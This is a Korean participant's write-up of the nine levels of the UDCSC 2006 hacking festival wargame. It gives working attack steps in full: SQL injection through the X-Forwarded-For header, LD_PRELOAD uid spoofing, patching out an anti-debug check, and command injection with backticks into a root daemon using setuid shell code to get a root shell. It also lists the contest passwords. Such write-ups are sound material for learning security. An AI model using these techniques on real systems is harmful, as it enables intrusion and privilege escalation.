쀍값뗋칧뚫값뗋칧뚫값뗋칧뚫값뗋칧뚫값뗋칧쀍 훓 훓 뚫 UDCSC 2006 Hacking Festival Report 뚫 훓 훓 쀍값뗋칧값뗋칧값뗋칧값뗋칧값뗋칧값뗋칧뿌웱 [hkpco@ns hkpco]$ whoami name : Park Chan Am id : hkpco mail&msn : hkpco@korea.com homepage : http://hkpco.kr/ face_quality : High 종교 : 학교 ====================================================================================================== 내일부터 학교 시험이라 날필 보고서(?)의 양해를 부탁드립니다. 이번엔 html이나 pdf등으로 작성하고 싶었지만..; 시험끝나고 보고서 보완 해야겠습니다. ^^; ====================================================================================================== Round 1. ---------------------------------------------------------------------- LEVEL1 문제 설명 UDCSC 대회 홈페이지가 당했다고?! UDCSC 대회 홈페이지로 이동하기 ---------------------------------------------------------------------- 대회 홈페이지가 해킹당했다고 합니다. `대회홈페이지로 이동하기`를 클릭하여 링크 페이지를 가보면 클릭의 스킬(?)을 사용할 곳이 한군데도 없습니다. ( 링크가 하나도 걸리지 않았기 때문에 ) 소스보기를 해보면(저는 바로 찾았습니다.) 아래와 같은 부분이 보입니다. iframe으로 숨겨놓고.. 무엇인지 대충 감이 잡힙니다. http://168.188.130.240/e987463bf0418539b306409f86997a21/count.php 으로 들어가 보면, 축하합니다! level1 패스워드는 'lets go together!' 입니다. 아주 간단히 다음 패스워드를 획득하였습니다. ^^; Round 2. ---------------------------------------------------------------------- LEVEL2 문제 설명 그림자를 밟아라! ( 그림파일......... ) 대한민국 축구 화이팅! ---------------------------------------------------------------------- level2문제페이지로 접속 해 보니, 순간 어떤 코드가 적혀있는 흰바탕의 소스위에 붉은악마의 그림파일이 곂쳐졌습니다. 소스보기를 하면 아래와 같이 곂쳐지기 전의 그림파일 이름도 볼 수 있을것입니다.

역시 예상대로 두개가 곂치는군요. 처음 파일 whatisthis.jpg 를 구경해보니 간단한 C소스가 역으로 적혀 있었습니다. 루프를 돌면서 더한 값을 출력하는 프로그램이었는데요, 돌려보면 답은 15라는 것을 알 수 있습니다. Round 3. ---------------------------------------------------------------------- LEVEL3 문제 설명 크래커 심모군은 포탈 사이트에 가짜 유틸리티를 올려놨다. 크래커 심모군의 ID를 알아내서 신고하자! 인터넷 스피드 업 유틸리티 다운로드 ---------------------------------------------------------------------- 패킷을 캡쳐 할 줄만 알면 간단히 풀 수 있는 문제입니다. irc서버로 접속하는 프로그램이군요 ^^; :padoirc.padocon.org 001 KOR|762083 :Welcome to the PADOCON IRC Network KOR|762083!otghnkz@59.15.35.196 :padoirc.padocon.org 002 KOR|762083 :Your host is padoirc.padocon.org, running version Unreal3.2.3 :padoirc.padocon.org 003 KOR|762083 :This server was created Wed Apr 27 2005 at 18:00:59 KST :padoirc.padocon.org 004 KOR|762083 padoirc.padocon.org Unreal3.2.3 iowghraAsORTVSxNCWqBzvdHtGp lvhopsmntikrRcaqOALQbSeIKVfMCuzNTGj :padoirc.padocon.org 005 KOR|762083 SAFELIST HCN MAXCHANNELS=10 CHANLIMIT=#:10 MAXLIST=b:60,e:60,I:60 NICKLEN=30 CHANNELLEN=32 TOPICLEN=307 KICKLEN=307 AWAYLEN=307 MAXTARGETS=20 WALLCHOPS WATCH=128 :are supported by this server :padoirc.padocon.org 005 KOR|762083 SILENCE=15 MODES=12 CHANTYPES=# PREFIX=(ohv)@%+ CHANMODES=beIqa,kfL,lj, psmntirRcOAQKVGCuzNSMTG NETWORK=PADOCON CASEMAPPING=ascii EXTBAN=~,cqnr ELIST=MNUCT STATUSMSG=@%+ EXCEPTS INVEX CMDS=KNOCK,MAP,DCCALLOW,USERIP :are supported by this server :padoirc.padocon.org 251 KOR|762083 :There are 6 users and 5 invisible on 1 servers :padoirc.padocon.org 254 KOR|762083 4 :channels formed . . . :KOR|762083!otghnkz@59.15.35.196 JOIN :#test :padoirc.padocon.org 353 KOR|762083 #test:KOR|762083 KOR|778454 [8]KOR|762021 KOR|114838 crackers1m0dun KOR|441656 KOR|831437 :padoirc.padocon.org 366 KOR|762083 #test :End of /NAMES list. :padoirc.padocon.org 302 KOR|762083 :KOR|762083=+otghnkz@59.15.35.196 :padoirc.padocon.org 302 KOR|762083 :KOR|762083=+otghnkz@59.15.35.196 패스워드는 crackers1m0dun Round 4. ---------------------------------------------------------------------- 문제 설명 어떤 특정 IP를 사용하는 사용자의 Proxy Server만을 허용하는 인트라넷이 있다. 이 인트라넷으로의 접근을 수행하라. ID PWD ---------------------------------------------------------------------- 이번문제는 제가 낸 문제인양 정말 쉽게 풀었습니다. 제가 예전에 와우해커 워게임을 할 때, 저 X-Forwarded-For메소드와 sql injection을 적용시켜 삽질했던적이 있었는데 (물론 의도한 바가 아니어서 실패했지만 ^^;)이번 대회에서 이런 문제가 나오다니...ㅎㅎ Proxy Server만을 허용하는 인트라넷이 있다고 하였습니다. magic_quote가 on되어있다는 말도 있네요. 하지만 magic_quote가 on되어있어도 Apache Environment에서는 그 옵션이 적용되지 않습니다. level4는 Apache Environment를 잘 못 사용하여 sql injection을 유발한 문제인것 같습니다. Achilles를 이용하여 1분만에 샤샥~. Proxy Server는 X-Forwarded-For 이라는 Method에서 정보를 얻어옵니다. 그럼 저 메소드에 sql injection을 적용 시켜 요청해 보겠습니다. GET /c853248badee15215da287ffa39d7965/level4.php?id=test&pwd=test HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://168.188.130.240/c853248badee15215da287ffa39d7965/ Accept-Language: ko Proxy-Connection: Keep-Alive User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0) Host: 168.188.130.240 X-Forwarded-For: 'or 0=' <- 추가된 부분 요청결과---------------------------------------- 축하합니다! 패스워드는 'caffelatt3' 입니다. Round 5. ---------------------------------------------------------------------- level5 ~ level 9 Login 168.188.130.240:SSH id : udcsc password : level4's password -bash-3.00$ cat level5_hint :: UDCSC 모의 해킹 페스티벌 2006 LEVEL5 문제 :: . LEVEL5 문제 설명 /home/udcsc/level5/level5라는 실행파일이 존재한다. 이의 취약점을 이용해서 level5의 패스워드를 획득해라. ---------------------------------------------------------------------- 와~, 드디어 로컬의 세계로 들어왔네요 @_@ 이번 문제는 제가 재미있어하는 방법으로 풀 수 있었습니다. 아주 빠르게...... 제가 만약 문제를 낸다면 이러이러한 방법으로.. 하면서 이 방법과 함께 더 어렵게 꼬아서 생각했던적도 있었는데,, 그 문제가 이렇게 나오니 전 감사히...ㅎㅎ 다른 방법도 있었지만, 대회의 생명은 스피드!, ^^; 예전에 지인에게 이 방법을 알려주니, 문서로 정리한다 하여 제가 영문서로 작성해서 packetstorm에 보내라고 했었는데.. 저는 문서작성은 안하고 옆에서 설명만~, 아래는 그 문서의 링크입니다. http://packetstormsecurity.org/papers/attack/shl_hijacking.txt 그럼 이제 shared library hooking이란 재미있는 방법을 통하여 아주 간단히 풀어보겠습니다. -bash-3.00$ /home/udcsc/level5/level5 Sorry, Your id is not level5 level5가 아니라고 하는군요, uid,gid체크를 통과하여 보겠습니다.(이 문제는 uid만 통과하면 gid에서 또 체크가 이루어집니다. ) -bash-3.00$ cat /etc/passwd|grep "level5" level5:x:7979:7979::/dev/null:/sbin/nologin -bash-3.00$ cat hk.c #include #include #include uid_t geteuid( void ) { return 7979; } uid_t getuid( void ) { return 7979; } uid_t getegid(void) { return 7979; } uid_t getgid(void) { return 7979; } -bash-3.00$ gcc hk.c -fPIC -shared -o hk.so -bash-3.00$ export LD_PRELOADED="/tmp/hk.so" -bash-3.00$ /home/udcsc/level5/level5 축하합니다. level5 패스워드는 'i_like_raison' 입니다. nice!, Round 6. ---------------------------------------------------------------------- :: UDCSC 모의 해킹 페스티벌 2006 LEVEL6 문제 :: . LEVEL6 문제 설명 http://168.188.130.240/level6/Labyrinth.exe를 다운받아라. ---------------------------------------------------------------------- 이 프로그램은 디버깅을 방어?_?하는 루틴을 포함하고 있습니다. 간단히 그분을 찾아 nop으로 채워주면 됩니다. 아.. 로깅을 잘 안해놔서.. 죄송합니다.( 시험끝나고 제대로 수정해야겠네요 ㅎㅎ ) 004016BE 68 C4F25B00 PUSH Labyrint.005BF2C4 ; ASCII "Debugger is detected! process terminated!" ↓ 004016BE 90 NOP 004016BE 90 NOP 004016BE 90 NOP 004016BE 90 NOP 그리고 패스워드를 출력해 주는 부분(Congratulation ~~~~~~)을 찾아서 jmp시켜주면 간단히..^^ Round 7. ---------------------------------------------------------------------- -bash-3.00$ cat level7_hint :: UDCSC 모의 해킹 페스티벌 2006 LEVEL7 문제 :: . LEVEL7 문제 설명 /home/udcsc/level7/level7라는 실행파일이 존재한다. 이를 분석해서 level7의 패스워드를 획득해라. ---------------------------------------------------------------------- level8까지는 대부분의 문제를 1분안에 푼것같네요..ㅎㅎ 이번문제도 디버깅 할 필요없이 아주 간단히..!, -bash-3.00$ ls -l /home/udcsc/level7/level7 -r--r--r-- 1 root root 4876 6월 23 18:12 /home/udcsc/level7/level7 -bash-3.00$ cp /home/udcsc/level7/level7 /tmp/haha -bash-3.00$ /tmp/haha -bash: /tmp/haha: 허가 거부됨 -bash-3.00$ chmod 755 /tmp/haha -bash-3.00$ /tmp/haha 축하합니다. level7 패스워드는 '112' 입니다. Round 8. ---------------------------------------------------------------------- :: UDCSC 모의 해킹 페스티벌 2006 LEVEL8 문제 :: . LEVEL8 문제 설명 현 문제서버에 누군가의 침입이 있었다. 그를 잡아라! ---------------------------------------------------------------------- 누군가의 침입이 있었다고 합니다. 누굴까요..? 저는 아닌데...^^; setuid퍼미션의 파일들을 찾아보니 특별히 의심가는것은 없었습니다. 계정을 만들어 놓았나 추측하여 /home디렉토리를 가 보았습니다. -bash-3.00$ cd /home -bash-3.00$ ls -al 합계 88 drwxr-xr-x 7 root root 4096 6월 25 05:43 . drwxr-xr-x 23 root root 4096 6월 25 06:31 .. -rw-r--r-- 1 7981 7981 24 6월 23 13:00 .bash_logout -rw-r--r-- 1 7981 7981 191 6월 23 13:00 .bash_profile -rw-r--r-- 1 7981 7981 124 6월 23 13:00 .bashrc -rw-r--r-- 1 7981 7981 383 6월 23 13:00 .emacs drwx------ 2 mysql mysql 4096 6월 22 09:40 mysql drwx------ 2 7978 7978 4096 6월 23 23:35 shadow drwx------ 8 udcsc udcsc 4096 6월 25 07:48 udcsc drwxr-xr-x 3 x15kangx x15kangx 4096 6월 22 17:57 x15kangx -bash-3.00$ cat /etc/passwd|grep "shadow" -bash-3.00$ 예상했던대로 의심가는 부분이 있습니다. 바로 shadow계정!, 7981이라는 user로 파일을 찾아보겠습니다. -bash-3.00$ find / -user 7981 2>/dev/null /mnt/.floppy/shadow /home/.bash_logout /home/.bashrc /home/.emacs /home/.bash_profile -bash-3.00$ cat /mnt/.floppy/shadow mysql pwd : shad0w!? mysql pwd획득 ^^~ mysql을 뒤집어보는건 예전에 너무 많이해봐서 이것도 순식간에 샤르르.. -bash-3.00$ mysql -u shadow -p Enter password: Welcome to the MySQL monitor. Commands end with ; or \g. Your MySQL connection id is 3287 to server version: 3.23.58 Type 'help;' or '\h' for help. Type '\c' to clear the buffer. mysql> show databases; +----------+ | Database | +----------+ | level4 | | mysql | | sebek | | shadow | +----------+ 4 rows in set (0.00 sec) mysql> use shadow Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed mysql> show tables; +------------------+ | Tables_in_shadow | +------------------+ | shadow | +------------------+ 1 row in set (0.00 sec) mysql> select * from shadow; +--------+--------------------+ | id | pwd | +--------+--------------------+ | level8 | starcraft_forever! | +--------+--------------------+ 1 row in set (0.00 sec) mysql> Round 9. Fight! ---------------------------------------------------------------------- :: UDCSC 모의 해킹 페스티벌 2006 LEVEL9 문제 :: . LEVEL9 문제 설명 긴급한 패킷이 당신에게 가고 싶어 한다. 그를 맞이하되 가식이 있는 그를 모두 믿진 말라. ---------------------------------------------------------------------- 문제가 매우 의미심장합니다. 멋지네요..ㅎㅎ 로컬에선 9000~9009의 포트가 열려 있습니다. 그 포트가 항상 열려있는것은 아니고 수시로 저 범위내에서 바뀌더군요.. 아래는 ps -aux의 결과값중 특정한 포트를 bind시킬때의 모습입니다. root 25870 0.0 0.1 2644 320 ? Ss 02:17 0:00 /usr/bin/level9 9005 root 25872 0.0 0.1 2856 276 ? Ss 02:17 0:00 /usr/bin/level9 9006 root 25874 0.0 0.1 2164 324 ? Ss 02:17 0:00 /usr/bin/level9 9007 root 25876 0.0 0.1 1516 324 ? Ss 02:17 0:00 /usr/bin/level9 9008 root 25878 0.0 0.1 3276 320 ? Ss 02:17 0:00 /usr/bin/level9 9009 root 26615 0.0 0.1 2280 272 ? Ss 02:32 0:00 /usr/bin/level9 9002 root 26619 0.0 0.1 2700 324 ? Ss 02:32 0:00 /usr/bin/level9 9004 음.. 조금만더 삽질을... -bash-3.00$ ls -al /usr/bin|grep "level9" -rwx------ 1 root root 7105 6월 24 23:54 level9 -rwx------ 1 root root 6612 6월 23 19:39 level9_send -rwx------ 1 root root 221 6월 25 00:06 level9_start.sh -bash-3.00$ (perl -e 'print "A"x256')|nc localhost 9009 input your IP: -bash-3.00$ (perl -e 'print "A"x255')|nc localhost 9009 input your IP: got it?-bash-3.00$ 처음에는 256바이트 이상이면 프로그램이 got it?을 출력하지 못하고 종료되어서 remote fedora_bof인줄 알았습니다. 하지만 나중에 문제의도가 다른것인데 그쪽 학교 방화벽의 문제로 패킷이 중간에 막혀있었습니다. 그러는 도중 또 하나의 의도하지 않은 데몬상 취약점이 발견되었습니다. 프로그램은 level9_send ip와 같은 식으로 사용되어지는데, 이 부분에서 아주 흔한.. 매우 간단한.. 하지만 미쳐 몰랐던... 취약점이 존재합니다. 아마도 sprintf와같은 과정에서 %s를 이용하여 ip를 인자값에 넣고 실행시켰던것 같은데 여기서 ; , | , & 그리고 ` ` 등으로 우회하여 다른 명령을 실행 할 수 있습니다. 이것을 공략하여 루트를 획득 해 보겠습니다. -bash-3.00$ cat /tmp/aa.c #include #include int main( void ) { setreuid(0,0); setregid(0,0); system("/bin/sh"); } -bash-3.00$ cat /tmp/c.c #include #include int main( void ) { system( "cp /tmp/aa /tmp/kk" ); system( "chmod 6755 /tmp/kk" ); } -bash-3.00$ chmod 6755 aa -bash-3.00$ chmod 6755 c -bash-3.00$ telnet localhost 9009 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. input your IP:`/tmp/c` got it?Connection closed by foreign host. -bash-3.00$ /tmp/c sh-3.00# 루트쉘 획득!, 아마도 level9_send프로그램에서 조건이 맞다면 패스워드를 보낼 것 입니다. strings로 한번 확인 해 보겠습니다. sh-3.00# strings /usr/bin/level9_send /lib/ld-linux.so.2 _Jv_RegisterClasses __gmon_start__ libc.so.6 printf socket inet_addr setsockopt strncpy htonl sendto memset htons _IO_stdin_used __libc_start_main strlen GLIBC_2.0 PTRhx a tiny encrypted packet! <--------------------------!!! ### usage : %s your_ip ### your input %s is too long! 168.188.130.240 마지막 패스워드는 a tiny encrypted packet! ^^; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- 후기::: 내일이 학교 기말이라 빨리 정말 빨리 날필로 보고서를 썻네요. 이점 양해해 주시구요..ㅜㅜ 나중에 보완 들어가겠습니다. level8까지는 한시간도 안되서 다 푼것같네요 0_0 주위에서 그런경우를 구경하기만 했는데 정말 이럴수도 있군요..ㅎㅎ 대회 준비한다고 수고하신 여러 운영진분들 정말 감사합니다. 아.. 그럼 전 이만 빨리 마치고 공부하러 가야겠네요..ㅜ.ㅜ 모두들 안녕히 ^^; -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-